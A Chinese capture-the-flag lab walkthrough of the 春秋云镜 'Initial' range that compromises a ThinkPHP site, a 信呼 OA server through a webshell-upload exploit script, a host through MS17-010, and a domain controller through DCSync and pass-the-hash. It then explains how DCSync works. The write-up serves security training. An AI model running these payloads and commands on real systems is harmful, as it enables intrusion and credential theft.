春秋云镜子-Initial

flag01

第一外网打点,thinkphp的网站。

直接用工具就可以秒掉了

flag02

先用fscan扫描,然后在用工具把流量代理出来

start infoscan
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:3306 open
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[*] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[*] WebTitle: http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios: 172.22.1.2      [+]DC DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[+] 172.22.1.21 MS17-010        (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios: 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle: http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

被控制端:

./linux_x64_admin -l 7000 -s 123

服务端:

./linux_x64_agent -c vps:port -s 123
use 0 
socks 7777 admin admin

然后配置一下代理,连接socks

socks5 vps 7777 admin admin

在目录下放置一个木马:

<?=eval($_POST[1]);?>

放一个exp.py

import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
proxychains -f /etc/proxychains4.conf python exp.py

然后我们给剑蚁配置代理,然后连接拿到flag

flag03

然后内网还有一个永恒之蓝的洞。直接msf一把suoha

proxychains -f /etc/proxychains4.conf msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
run

得到一个session

发现是DCSync权限,上线之后我们导出Hash值。

这里我们抓到了Administrator的hash,所以可以直接用crackmapexec打hash传递了,然后远程命令执行

load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

浅析DCSync攻击面

在DCSync技术没有出现之前,攻击者要想拿到域内用户的hash,就只能在域控制器上运行 Mimikatz 或 Invoke-Mimikatz去抓取密码hash,但是在2015 年 8 月份, Mimkatz新增了一个主要功能叫"DCSync",使用这项技术可以有效地 "模拟" 域控制器并从目标域控上请求域内用户密码hash。这项技术为当下域渗透提供了极大地便利,可以直接远程dump域内hash,另外也衍生出很多的攻击方式,所以我想专门做一项DCSync技术的专题。

刚刚我们说可以去模拟域控然后从目标域控上请求hash,那么这里就涉及到一个知识点叫AD的复制技术:

域控制器(DC)是Active Directory(AD)域的支柱,用于高效的管理域内用户,所以在企业当中,为了防止DC出现意外导致域内瘫痪,所以都是要布置多台域控作为AD域的备份,或者是部署多台域控制器,方便在站点位置本地提供身份验证和其他策略。当企业内网当做部署了多台域控制器后,一台域控进行了数据的更改之后,需要与其他域控进行数据的同步,而这个同步是通过Microsoft的远程目录复制服务协议 (MS-DRSR),该协议是基于MSRPC / DCE/RPC )进行的。并且其 DRS 的 Microsoft API 是DRSUAPI(这个在后面抓包可以看到)。。在不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求

若拿到用户为以下组的用户,即可直接写入DCSync功能,从而dump哈希

Administrators组内的用户
domain admins组
enterprise admins组
域控制器的计算机帐户

参考:

https://fushuling.com/index.php/2023/08/27/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%C2%B7initial/

https://tttang.com/archive/1634/